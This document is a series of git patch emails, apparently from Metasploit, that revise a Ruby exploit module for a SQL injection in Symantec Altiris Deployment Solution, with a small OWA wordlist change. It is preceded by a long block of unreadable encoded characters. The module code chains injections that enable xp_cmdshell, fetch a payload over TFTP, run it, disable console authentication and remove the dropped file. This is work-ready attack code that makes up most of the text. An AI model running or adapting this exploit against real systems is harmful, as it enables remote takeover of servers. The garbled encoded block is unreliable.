z#V13DRz{)!;1^!yO*bKe*-nZ>`%z%Jj)jLhGvzo>QXFiTP7Xb!<_q~l&a{r}$Qu9A ztCJITIXyiCwq3-pvxyX;YEEs`=m*5Melfz@_JHneIEh!M$=^Vvzetuy6KM(kkQaJC zbw7C_@`Ma|NzD+EvQv?iO$g3>Nt9UW&pL{%_?nX;6geOIMOMkzEszF^%)Vg(0-~C( z@)GQM9rMe_Zn!*&{omM(>iFXSx0=yjQY@NL-T!mV=)nK3W>iZSbTp#_nE!7!qoc&H zvxyX4X-2~Bs%9jT_$xk=Vk!mDIvPmp7Q+&+80aEj0zwD`E`I3(nfy z@^pceM~Yj1&y!&0RyEvJ)uF(zg47r2TXvRQOf5_;xj4FTc*#X$;Y%eK#~B{55NOH8 z%yn@kUoR@Ts5RU_1c!o7&8#l8Pb`RSM%v!425Pu32jj1jYABnIBcU0}ZWT|nYnnfY z+p^RJL}GAXJ2I5HE956?XP|d!Tc5kSlzeT>DDQoJi*^Fpf{)_ULI2Jmo__eJuwm#4 zJJnDo5<$9A?1P~>lb`U{1~aP(p2<>g0^)|H%$*y%XNf=y0~dmsJ9#FOFf0;3mwNTN zD>@SY)JW`KcEqkm6xR`vPBn~M*OR<4Jn$`3nMnTJ_ZjAi&64_+83aZeD00L75^ogf zo3G<>#h9NHf|)hpGVWZ^rMVxD6sO$p7O8*W&2|cITl2d=;lFdUmPhKxY;VzplT_GN z^0letVzlA@G6u<(=fXw$G+)xP%Q-Kpa7e`%&Q#Pys>fbVG;UZyAf?&c2rsX>ScDss zH?g!W#;{>ImXT|LY!3HLYI%xYmu_4f})Wq5EDbH?>Q*R+r&o4RAJJ=qOGkg`x*iT53qZ%s_CBOZOFALHhn zm%w2wQSUi2mwll55XR84(z==TKf^5TqU=gP4Rkh?)!=^H;W%AGt;$?x*DP^rS9TAb ztthVDv7;ipc1L^mE5Ym6+GLI3t8?nXmtDlsf^w;4)B`>6ft4Pk3F+@Bz!W4iVYSXQj7ql5E~Hun)eHyrmT zPq>hIlu8jG2=0$4Zs0c3(&7UwB3kN}1T&8{pQjEjVV2ix!i6znRYvvL#W@E(u+Bb( zy9%O0`{7P2D`uSx7FPv}tC`x*t?(bHuuiBLL-(~c^p;@{jC7#du%}a~xZ3an9A35V z?n}XWW$wE#!Q>TJ-xWpKx3EX7EO@t2h@xB4E`>6;a)&btbS4tUhQonZX|r9#we6u{#O6>AYEO**nOc{ zHE>EoY<*mn-o?JHYuB}Me~Ub4u{2OyE*CA9UXFQ1Wc3pF_jmP`=Pi-?Tswe#aAs~p z=9V=~u!B*W67m2RbKZgAJlJs2Z%`>VnB*syND~8_Vly`{2^y9Jua61lO2O5gLMSth z+(`GySkcQ@KEF(g{|U;yU5YP;%>f;zPxii)#EXnyUgPbwcLl~2|!IW$ghtXvy@`9BDR`eM+;rstH#V(IP}EP7tm5fM~@B zXvGJE>I1bQXOfJqrp&FwM7>)7mH4G!)E!bwZm@rAuy~tc4-=l6slj=h(5D-mcMk3J z!Qx#@5RH~jBEBI@oc?Vgf1RP!D;ll4c(dVtF(6{97L8eH_Q<=INy*w|`F$WTKbTok zG3#8=Ula6iqb=N7;cu$YPpDXdoM~Gyvo83O7&Z-i9JEN9V`!{sixpOfo5OJ1LI+ps z-G^wA=O@r2{bj+imzYb3TV!2GeX|s$Ro{ws83~Ej`C>@@;E=y2lsUUZw9u&}f)vm) z9$Zaqq2gWQ_>sSL{UNoLX4cWC&`Rq>D?Jx#(A9pUdMEVcohs z_%{{~D?EruH`5y$_E4WY8(wG(jiD&2Dm?M-HcH{*<$kd$xF*ssYUx5lnVW^$G)0=q zyM(aeeBd?uHU>15jg8GBreNlFcFR8^GTq-sj?1?$m%69zMLsl2&F#=Ty1I_sR+sVA z{!sT}>{;gDR6&0mr4wij&f6QBwO4+Axilw=_I2@kxyuTvpIhX88Bv_iY}InjP-xz{ z&=E1A9aR76ptoDz{yO$#?AvdD+n&8$ROMN%{=XGyHi!y9u=0Wx(irVd`Kc9@)=p7c z{n&AHYK1g}?zeq~10Efok@N_QMwxS8W{AUfL{qY-`80bSZH<{m}=tMtR3wQuoD`BO6MZ zb>&$)!|R93=W6u~sF#Nwqf-n!LXUIQME6^ForjKvvMa^-t__a>&dl;FL%V*l*p;iKVqo8)*m&5J2e~tp zFE&QTA%6@Sllig*T=*PWvC%2dWXN9>Nh6GjBY1CCH0)4<(%XG``ZPO(uRq^%Bf8Mo z3cotq?_-H@y7IDD_N$m0%AkIE^Mu- zm;2u>jR=S(ZWbNm^HYROcyj@sI%L96Qp%-BUypzhneaPgpis#B7ceXrHk3Y#`QOQg z4P_hfL4VL5KoerWx(vko<0C;Y52#^_qY*8uW-Ip|6H?q?i;(}N+TOIwiBj4eYC8YD zM0wj=1ifE58uqKcBfhCC`&-j!4nm~-F$-1qutk!oa5hc;q`RKE??zrgzx^H{k_R`i zzk!xsZUn=t=!Vi{%wa9OCqoIU;@z;8fOyPj% zs{xA)Xg(`Wl$|%oKitF8RFp%GUMr2cWj(8_X!WC$_xDqp(?lw0DjMZE)d+K=X%;8Z z3bbOiKvdoLpQH%0&xw_`hzj8GeNtG*4$kbu4%c&$HJ^$mpdYO=4N zT2g!sEbr-q;}fG|3U7=!ZycXE%o9^MnSuNIaw+0Cwm=fT5lNq3fcIfB{?sephvU6J z-V+OS3ogG=5HofTzNeN?NgOWHdiZg%hRgsmC%14#C{EQ#eSUl&eM#Z1V%J8ywNF?* zFq{}n{1hUS{1aFp=iW75di&eRVm~Wcr`xSu-7=n?pkx##ai$)9b$0pp#q5WzVx>l` ztDl*6+3ToE`K@AUn8a$q`C`e^sUprnEb?{hqzQ{Auvk$Pjz%cEMKO1~cIq06Q^VPq**-yj ze;u0*raUfl%4)bsg()Cq+D_6RY5W61^IA(U>H|I8KdkIFbu60gN@~?7h0RE$u^L`4 z5q9E^S01&>&j(m5Cy2uVsh_GkkemL-_ZdbOO(?yn^LLBntm-;^LhAP|2^T&C0-CU-+hq& z;4xE2N1)tr3U?5WBU zV_3h1WU|-D24wBpo0!s7XB18<_3rF0x0bOXa3`A`xc@Qw4a1*iMMst&TVhI^-r(A1 z;iOzxz`~+@!v?9W3&q|(Y&^ezc}UW00|n>d!1>DntSLbIVo(0%yJ0?W@!0nKIt-v+%1y$PL! zzJ)XwBuy{qH_!y=MrajO4pl*af(}9_q0gXip^H#Vo1{sEGN3%D04jkVgKD5Rq0`XM zP{NO#1~vXDX{JKAK&zm8p-Sips2bV}9f010zJ@MBaeToL$P7(@&Ozd@j@;S>?S!hJ zby#se>3RDPfg=(ON9a13v6oytP@fr4>LgS%)s06BkPC};{z@i^! zUn(>O%7?0b5QaYhQcjeuvmg&C)5bF zLh+CC)lea{8LEYvpf)H@CNO9wR0W-aqN}8MD>N4>g0@3-&AAf)XCb4a$J>p-Sik z6#oQ?hVr2*Xcu$_N_`3 zXHDW>z7#z9q7;wf3ytwFQaoxsH07YEV~rqJaBEU_N%8E&)s%ziSkg3t=m*oJyd=f< z0jof?0BRJlADFkBdImOtY~j}=>_HwU+`%L;sa8shAB>^AR*D}27QI3?gH7NXQ1hx3 ze>cz{yaYNxgc+KQSLFx(AkCMHUX%*u))%D%-S)ml=0hi-rq}lD`-_wqwddUz7BP1Wf|UTRQ$F?D=Dz^sFwBa!QI98Dj(y zWN93rUc?IuF<1@=2dc>fVS_abL6L#^pvb`Gpvb@?kg18L1QaZ6ISBi$sRX-$RUrC> zHQPXu(bXUs9njQZ5IJ27ikz+kk=1J&K+aWY8bQH8p9Dn-G=ZW76i}2vD=12!4HPAy z`ACXqL$xLv6eST4ijqhKlfWcU6hsO*g!nZlIl40x2O|!MLp2UiNNzL0;b0ax0?Yx~ zV^qIatV9bgsc1h;`c;@4DTNC#`c46qg) z1J;4#zy@$U*a%JlPlDHjP2faO0Vjd2;AF53oC<0_mf~*!qQM+69-Iv(g1KN47`PEb z3Wmj?Q8<7OP)jB7fD)Jm>cE+x9&CDzx&bc4-U(a=b_R>UXs`_I0($DH6JRCwIB+Z2 z6|4rkfxAAY<1}EX!$H)#qhNPXRPi35sN&avCvi^zPlG+dR#038aS2QWqd%cefC*q< zFbV7jjsp9G4sZZC9vleffP=ufp9H8B81iu#3>Jbzz!GpMxCu-KtH5F4c5paY1C9Xq zg4co#;7ITUm*04m`1VBj2vi5N7WQi;Gga59(( zP63m_sh|fL0 zdKA&6bp{);cL7g9Tf$daxGk3?2ZxfQ?`bcnXXI6|gUO4s?TYpA!(62nwDg1=NF9 zurrteb^)h=F<>4T2QC8p1~4qg;0D)%TDrbXpdPFOJA>Q7E?^B91MUUmzy`1{cmi~T zXFx4oH0b9L_7zZ#B=bBcn-FS=P4xU3!Z}sU<{b_1?^uuiWG?lphG+W$Aem< zMw27l!MVa6%opxfnyGLHON2YPNw_=6F<}R{3%iFL6LxT~uxF5C!VaDgIG%)l5x|f| zN`=D|QYtWq_WC77u$J};_63tb(JPMCg!^;Ss7b+Xg+K-#Kx4&z63hTU0H=U|2J^se z;3Dura5?xExE6d@bhqUgj)R-QKY-i7m%*Lj0k9T41s(v!c+dzQ1y6x*fC|_EF8?Sz zK%K+>d+c#vQ87Uy?qbAC#(t}?lVGht>;ZB?DDn1fvpF2gPc zo+9vmFb{XZBa~q$6II?o@CudK{{!3#J_J^SVxZau3fW>E_&msX6HrIGqd0_c$S1(g z;3@24L|cwM8dR`94W0x43ThO1T_6rT3?_mPgUR44pb`8}&;#xQv%vSjnP4Nh5S$Dy zQz-vB3`ID+BajHYfMwX<1}njjz^&llz-sVKa2NOzSO?aFN5K=|NpL%O8vG;J3Vs4! z0v`dRo8j5O1n^ZbDS+V^hEd?Bpac9691ngB=78^mbHRgP24y)E%*QT<>>})f87aiR z49vqWn3fXk`2zW%7;qEzDPR@P(F~}m!hRPRD91xAhV3|P25Z0_;9l@gU;~&9o&a}) zP2gTIk=Eb?&tNYX?gX3$wqX~Qx{`3?K>gQYW@H=B1y>Z0y%22WIekz-(;tTya7Y0K zGg8HauAmkB4PZVmrhpmP3&0fYgTN`+Zw3WJ*$vFYPRmspO9QwF`xbCHI1Q}9pJ=CR zu}=pp31_t6|H^S#DLmj{0ykqX0tFl80=Hqm7px_K?x0|s(!rg$2f@AI4DlTQX0QSK z8ZZa@Fz^KS--21#lffqJOTaVW10t(Rc#sOV;cz>sZ$TX(7*9lE^_*?!@%Mom>~5ex z_A;=V_l#f)_QydhxEjm={ooXE7AQFC9$+5!N5MtlOmI0EkTEpi;Tmu)4i(@@0=9$Y z*w=xLJWl{OW1lUaWA6!W!=4N71gpSWa1+=7J_()#t3koC_W~8{c>=Nb2G6z7{^wv2 z9I6M@oI&^s#DUL(iQpx^ihUv2fZYmKV}Amy1MdN+FXX`p3@33|3Z4e<1Y1EJ zs9`znGaw$U1p9+efhpjNpcQ-$%m62VQ@-7^@woJKk6!2oZNyE4QSz-;gT4bz<$UR( z!9C@LUr2e{hvk>QkOpaO^7}yiwAw2Yo_?6+x-Xnf{_fZR z@_ECr!pR;c$*+DP4bZO}$B9t!?c?KS{PLAw2RU}(zkfcbEF4l|Zps795TJA4OX6GA zzmJi~u@It35R$pb-w7mjQy!8ujaT_whurk{jbD80%Eh-YzN1hh7k?vV%T3=%RlUBu+Q-B@B0l6*-%2y( zecwqb@|)jEulMX8mAiD&;&J&mubg>jwtrdS(y?n$19AU%l3V`%JL!(jFY0G3TfBI= zyr5ND&^28*<<6TIO<8)&%9~fNkzZ|(rCdBa$xsB8BiIW@vMJH zvY}ZT{m2$+b4(M*n8iy?gZ9LHFLlz#TVG?SfD${i0wC$5<*bWRD_+O$x$(U8r7l3z zX&=W6XYkVsorBt-OOWPu_*f_!iiZ-RBxn@mfHI&dP!2Q`%7f-Y3!z0&KC}#44i!R0 z&|0Vrs)VXuXFL-xY=f$y8mJaJ03C%+LZ=}GIs>&qac_jVaq*Rjn3JFs$Ot*03@8iA zffho`p%Q2_R1MWaN1+qYsW$>dfZ+^u4!Q*C>xcwOfcitp&?v|QG;XfZNgi4@F zXgjnEYJg5br=c^Drk(^sLb_8OLn(-qclBr%SldIvoGk?Q*Z5q(S|}a%tqR z@gT)bNC(+;NnHLWG>ddD9e2OQ&FHNL&Rw_6LXmDWkN7RUFFA03IV0j^Ol zlWUwS%a!Yz>ssMH>TYzOaG!LaayPk)JbTmY(hsCJq#q?IA^~s|09)-%tF1qKqkM6` zYkYlugMBGJO$J;B&mOSImdBh=Ijfy7ICnc=a~^OWaUOTR?`(1ob)~xm2cM&cqq)xL zG-ev78Rr?78vVxg#_fE~PGgO6m$BB^*M6@n=&E!jiAWcQBXt_*8_(Hd?E~$Dy_w#n z-W^_^EobhfM*5URu_RdgSyTBq+1lSW)K*|Cv=!Ob+DdF?wsPAhTcvHYt;!Z?@V@1} z)wj}D<$J|<(D#k6AYD_!gp5E6jPDr#Y}#u&WctXYm}1O5%}M4|^KA3Y=4Iy9=HHpO zn_n=$V!mXyTE<&uS{7IeEajF*EKgYefQF|JET37vwv4h`tsd)V)~~JKTd%kIZBN@S z*oN6>*bD4;+h4V}*}J6~18MiA9ZS30Cp6?H5@~PiE3O#tp7g!xU#EX3zIGcG8R$$& z=aDzvC_PP0I0p(%YfKfUhfPnJ##pi}8!d18@K^``4Qv#ZsxfT7XnD@9X$qT1iZENl z=Es;N1T;xn^@Yc*BqAeh-e|-Vs^~;OlhXKE7&ebEV=mEZJiw=}W>*il)1B#_=^o}8 z?aA@1_LO=a_T1{d&HI4&C2zgA(fgF|55A+mAAIe;Zt0(-f0eGO)M~^GqpQ(noM4<~ zw3)mC)2*gT(^k{-rjYp&^ULNh&EK1~mQO9s76VzAWzDs^Y-1_0O50PmRrYoEdi!7P zAKQ1NeU;Xp7VGHiXmN~iTAbsYdCt);o2$rGMlC6DuXMlUu6G}IKkIqH^S$S1kHM?; zb@ADKV|~+o`+Y6GA4N`W(`t5U(T-xz-|{%F*hqD_5FIch^&Wx9uA zsWLro+GTp(bi(v^(>>;gX?D+>Up3d8kDJe$J6pP2dRvBAGA)xVvn@AS?zZf;yl45s z^1bC}OE>EPYqHg59T%`pwa&KQYQ5e1i1mQ=ZR-ctpRK7jtF7Ahg6(bFNn0k>=uW%e zzQ!J~m)e8&3i~5=*}m2OANFVLJMA_0-S$`Pb@l`HK-!M9nzZ9-!yJnp%Nzm69>;5r z{f@(qw;b;}PB}hzeC;^vV3(Gole3$%mvf+VB>CxZ`ka9*=XB>S&Xvx4ogwF5=RRkH z^O*C5^8@FnPR041^StvXr`{Foy2jPdHPrPRm&N6z*T{A)bS-xIUB#{kTu-_#xJul5 zPY+M3$Lg8kneWN>-0dmzJmdMZXS8>$ca?Xe_Z9Cx?=kP+yq|d$Z;UV1H`Di9-)i4( z-!b3GfbX2|A3klmA-yMkpF92f^r`8&>C4maPOnaXRn+1-t>|MkF-Eg-vFUpA26LtP zQS)cioV#pW=@qM6dn_diB@Un(>kIE9W=Pc4wTcCu4}s zHNiE-HQhDGb&Kn_e52oWx2wce?y7J-;`+U7o9h|ZpIm=&z3i%Y9dsRaop8PH`o#5> z>x}Dr*F{&mE6Ux~-6P;mbSJroxl`R1x5MpoPjF9mPjk<4&v!3!FLSSOuW|?6W$umc zhuyOKarX}QbM6{yFYg~yU)7MyDw1*yLb$q-k$!RA)b+*>pV7( z*E80WMW;2(bCc&*D&`%YRi3q;jh=@*Pk5g79QC~G34HEp_w@4)_TKC*@D_RhOkHj8 ze&RjtZTIRK;e5V_e52B>>66o!razyqY1N8eSu@D!F^)A(G2X%u7BX&D`-(<-haU6} z*PEu87E#&mHI9?@wiZ}dSxc=U>qFMZt^Z+t*1FUBl2v1ivW>S*v`x3=+7?nBSK8jPy>B~j)6g$m zlQuNXm6n%Qoc07&^Jv=pX&+NP6TNqOYrIQDebGo_Ak_>ro;CNkI4yH5cUX$3CoyzB z8T2=4w!jOvPi?KXZuWe8YTC@Sd2}K#r&T((Iu1F?oE6RhrCI2H-F?XYoqMcjw&!ur zXPyPL>8HH&(wovRrE8Eu#}mO2-Y)mpa zOy8J(FtwYenR8*s5-s;zAGW?|ea-q2{mW$g)Al3w_w5@TPdoMo=s=D*8XYGbCmmYn z2xq2qiZjPKlaX$&bD?vQGvE25vzCsz4wh;p4K7Dz*cQ4Lxi+|7aDD1hXilxJbFMbm zC6~sncTZ)Y&U4RoFLb}>dEGZjBrZqN6aia}4>C9%H~(O6HxIYisfH`43xNaF!#>tw zr0oZ*+cwFz)b@i-Z%?GRyV3qz`)Yfc{gl1cJ~-{MwAqeIQoPEUs{;n6s~GYrIcoSDTGvO)r~1G=FXmSqIpzwe7LJ zW;+tFePCN+FSfsEzcy{MV}|1&&I;G>TqE40-EQ|J+V?l^A+%INSHF(;rRsFnC8zrIy{6MoSOt zo7Ru5HMak>owXH2+XvXw>^Im~+V8XPAQ^k@pWDyd2c*52wihP-gS3ljd5$L?FEf<3 zI=VWCIu|(o&RF`i|8%|OYH`K82f9bmHSKd>@^<$1_D%GC?`wn2lT_Yv6T{4Ac!cey zYST`W{6M^JfqonNt>m-uy2k@nYKg~`A;j4=lFHB?H8;{iM8{X?UQ4&P$-UXV)xDij zW0!lc`v6?}2{`oA?lbOlYIhgsN$~8Xsqdl$G3VmyRWxh>vOLyJ;POy)NkoIKv&}C}-MBCzRiHvAJB#C*6=76uk7oDD*o|2xGo==%?POo9E&`J-<)-j&P8;$gl zc}!VK=pF0epqh*tQ-4zu-@DLMV%lb^Gc}ns@Y)&Xx#op%oH~tA)T}W^8{@4B) Date: Thu, 7 Nov 2013 01:34:55 -0500 Subject: [PATCH 401/409] Updated for temporal pathing with TEMP variable --- modules/exploits/windows/mssql/altiris_ds_sqli.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/mssql/altiris_ds_sqli.rb b/modules/exploits/windows/mssql/altiris_ds_sqli.rb index 6f40c1ae34..307a1154bb 100644 --- a/modules/exploits/windows/mssql/altiris_ds_sqli.rb +++ b/modules/exploits/windows/mssql/altiris_ds_sqli.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - execute_cmdstager({ :delay => 1.5, :temp => '%temp%\\'}) + execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) end def execute_command(cmd, opts = {}) @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] if datastore['ENABLE_SECURITY'] == true - inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd C:\\Docume~1\\Networ~1\\Locals~1\\temp\\ && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil + inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil inject.each do |sqli| @@ -205,8 +205,10 @@ Processor-Speed=2659 end end - delete_me = "C:\\Docume~1\\Networ~1\\Locals~1\\temp\\#{payload_exe}" - cmd = "C:\\Windows\\system32\\attrib.exe -r -h -s " + delete_me + wintemp = client.fs.file.expand_path("%TEMP%") + windir = client.fs.file.expand_path("%WINDIR%") + delete_me = "#{wintemp}\\#{payload_exe}" + cmd = "#{windir}\\system32\\attrib.exe -r -h -s " + delete_me client.sys.process.execute(cmd, nil, {'Hidden' => true }) print_warning("Attempting to delete #{delete_me} ...") From cdc6a863dd94c5b56122a1199604da37c2f9bb92 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Thu, 7 Nov 2013 08:50:22 -0500 Subject: [PATCH 402/409] Add another default owa url Its not default, but not uncommon to find /exchange/ NTLM protected --- data/wordlists/http_owa_common.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/wordlists/http_owa_common.txt b/data/wordlists/http_owa_common.txt index 86c0c93c88..1eb1de5edf 100644 --- a/data/wordlists/http_owa_common.txt +++ b/data/wordlists/http_owa_common.txt @@ -1,5 +1,6 @@ aspnet_client/ Autodiscover/ +exchange/ ecp/ EWS/ Microsoft-Server-ActiveSync/ From b068e4beb5c81d01d5aac3d9f7e8b72aa3f52c2b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Nov 2013 17:33:35 -0600 Subject: [PATCH 403/409] Fix indentation and refactor send_update_computer --- .../exploits/windows/mssql/altiris_ds_sqli.rb | 326 +++++++++--------- 1 file changed, 154 insertions(+), 172 deletions(-) diff --git a/modules/exploits/windows/mssql/altiris_ds_sqli.rb b/modules/exploits/windows/mssql/altiris_ds_sqli.rb index 307a1154bb..813f0e36f7 100644 --- a/modules/exploits/windows/mssql/altiris_ds_sqli.rb +++ b/modules/exploits/windows/mssql/altiris_ds_sqli.rb @@ -9,142 +9,143 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::CmdStagerTFTP #CmdStagerVBS was tested here as well, however delivery took roughly - include Msf::Exploit::Remote::Tcp #30 minutes and required sending almost 350 notification messages. - include Msf::Exploit::FileDropper #size constraint requirement for SQLi is: linemax => 393 (if you want to try) + include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec Altiris DS SQLi 6.8 - 6.9.164', - 'Description' => %q{ - This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution. - axengine.exe fails to adequately sanitize numeric input fields in "UpdateComputer" - notification Requests. In order to spawn a shell, several SQL injections are required - in close succession, first to enable xp_cmdshell, then retrieve the payload via TFTP - and finally execute it... you may have to be patient. The module also has the capability - to disable/enable local application authentication. This vulnerability was originally - found by Brett Moore of Insomnia Security, the exploit and console security toggle were - authored by 3v0lver. - }, - 'Author' => - [ - 'Brett Moore', # original discovery - '3v0lver' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symantec Altiris DS SQLi 6.8 - 6.9.164', + 'Description' => %q{ + This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution. The + vulnerability exists on axengine.exe which fails to adequately sanitize numeric input + fields in "UpdateComputer" notification Requests. In order to spawn a shell, several SQL + injections are required in close succession, first to enable xp_cmdshell, then retrieve + the payload via TFTP and finally execute it. The module also has the capability to disable + or enable local application authentication. + }, + 'Author' => + [ + 'Brett Moore', # Vulnerability discovery + '3v0lver' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2008-2286' ], + [ 'OSVDB', '45313' ], + [ 'BID', '29198'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Targets' => + [ + [ 'Windows 2003 (with tftp client available)', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'DisclosureDate' => 'May 15 2008', + 'DefaultTarget' => 0)) + + register_options( [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ], - [ 'BID', '29198'], - [ 'CVE', '2008-2286' ], - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', - }, - 'Targets' => - [ - [ 'Windows Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'win' - } - ] - ], - 'Privileged' => true, - 'Platform' => 'win', - 'DisclosureDate' => 'May 15 2008', - 'DefaultTarget' => 0)) + Opt::RPORT(402), + OptBool.new('XP_CMDSHELL', [ false, "Enable xp_cmdshell prior to exploit", true]), + OptBool.new('DISABLE_SECURITY', [ false, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), + OptBool.new('ENABLE_SECURITY', [ false, "Enable Local Deployment Console Authentication", false ]) + ], self.class) - register_options( - [ - Opt::RPORT(402), - OptBool.new('XP_CMDSHELL', [ false, 'Enable xp_cmdshell prior to exploit', true]), - OptBool.new('DISABLE_SECURITY', [ false, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), - OptBool.new('ENABLE_SECURITY', [ false, "Enable Local Deployment Console Authentication", false ]) - ], self.class) - - end - - def windows_stager - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) - end - - def execute_command(cmd, opts = {}) - xp_shell_enable = datastore['XP_CMDSHELL'] - inject=[] - - if xp_shell_enable == true - inject+=[ - "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}", - "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}", - ] - xp_shell_enable = false end - inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true - inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] if datastore['ENABLE_SECURITY'] == true - inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil - - inject.each do |sqli| - - notification = %Q|Request=UpdateComputer -OS-Bit=32 -CPU-Arch=x86 -IP-Address=192.168.20.107 -MAC-Address=005056C000AB -Name=Remove_test -OS=Windows XP -Version=2.6-38 (32-Bit) -LoggedIn=Yes -Boot-Env=Automation -Platform=Linux -Agent-Settings=Same -Sys-Info-TimeZoneBias=0 -Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz -Processor-Speed=2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);-- -\x00 -| - - connect - sock.put(notification) - sock.get_once() - disconnect - + def windows_stager + # CmdStagerVBS was tested here as well, however delivery took roughly + # 30 minutes and required sending almost 350 notification messages. + # size constraint requirement for SQLi is: linemax => 393 + execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) end - end - def check + def execute_command(cmd, opts = {}) + xp_shell_enable = datastore['XP_CMDSHELL'] + inject=[] - fingerprint = fingerprint_altiris + if xp_shell_enable == true + inject+=[ + "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}", + "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}", + ] + xp_shell_enable = false + end - if fingerprint =~ /^6\.(\d+)\.(\d+)$/ - print_status "#{rhost}:#{rport} - Altiris DS Version '#{fingerprint}'" - minor = $1.to_i - build = $2.to_i - if minor == 8 and build < 390 - if build == 206 || build == 282 || build == 378 - return Exploit::CheckCode::Vulnerable + inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true + inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] if datastore['ENABLE_SECURITY'] == true + inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil + + inject.each do |sqli| + send_update_computer("2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);--") + end + end + + def check + + fingerprint = fingerprint_altiris + + if fingerprint =~ /^6\.(\d+)\.(\d+)$/ + print_status "#{rhost}:#{rport} - Altiris DS Version '#{fingerprint}'" + minor = $1.to_i + build = $2.to_i + if minor == 8 and build < 390 + if build == 206 || build == 282 || build == 378 + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Appears + end + elsif minor == 9 and build < 176 + #The existence of versions matching this profile is a possibility... none were observed in the wild though + #as such, we're basing confidence off of Symantec's vulnerability bulletin. + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end else - return Exploit::CheckCode::Appears + print_status "#{rhost}:#{rport} - This version isn't exploitable: #{fingerprint}" + return Exploit::CheckCode::Safe end - elsif minor == 9 and build < 176 - #The existence of versions matching this profile is a possibility... none were observed in the wild though - #as such, we're basing confidence off of Symantec's vulnerability bulletin. - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe - end - else - print_status "#{rhost}:#{rport} - This version isn't exploitable: #{fingerprint}" - return Exploit::CheckCode::Safe + end - end + def fingerprint_altiris + response = send_update_computer("2659") - def fingerprint_altiris + if(response) + result_regex = /Result=(.*)/ + result_response = result_regex.match(response) + if result_response[1] == "Success" + version_regex = /DSVersion=(.*)/ + altiris_version = version_regex.match(response) + return "#{altiris_version[1]}" + else + return "unexpected \"UpdateComputer\" response: '#{result_response[1]}'" + end + else + return "No response received, possible congestion issue..." + end + end -notification = %Q|Request=UpdateComputer + def exploit + windows_stager + end + + def send_update_computer(processor_speed) + + notification = %Q|Request=UpdateComputer OS-Bit=32 CPU-Arch=x86 IP-Address=192.168.20.107 @@ -158,67 +159,48 @@ Platform=Linux Agent-Settings=Same Sys-Info-TimeZoneBias=0 Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz -Processor-Speed=2659 +Processor-Speed=#{processor_speed} \x00 -| + | - connect - sock.put(notification) - response = sock.get_once() - disconnect + connect + sock.put(notification) + response = sock.get_once() + disconnect - if(response) - result_regex = /Result=(.*)/ - result_response = result_regex.match(response) - if result_response[1] == "Success" - version_regex = /DSVersion=(.*)/ - altiris_version = version_regex.match(response) - return "#{altiris_version[1]}" - else - return "unexpected \"UpdateComputer\" response: '#{result_response[1]}'" - end - else - return "No response received, possible congestion issue..." - end - end - - def exploit - case target['Platform'] - when 'win' - windows_stager - else - fail_with(Failure::Unknown, 'Target not supported.') - end + return response end - def on_new_session(client) + def on_new_session(client) - return if not payload_exe - #can't scrub dropped payload while the process is still active so... - #iterate through process list, find our process and the associated parent process ID, Kill the parent - client.core.use("stdapi") - client.console.run_single("run migrate -f") - client.sys.process.get_processes().each do |proc| - if proc['pid'] == client.sys.process.open.pid - 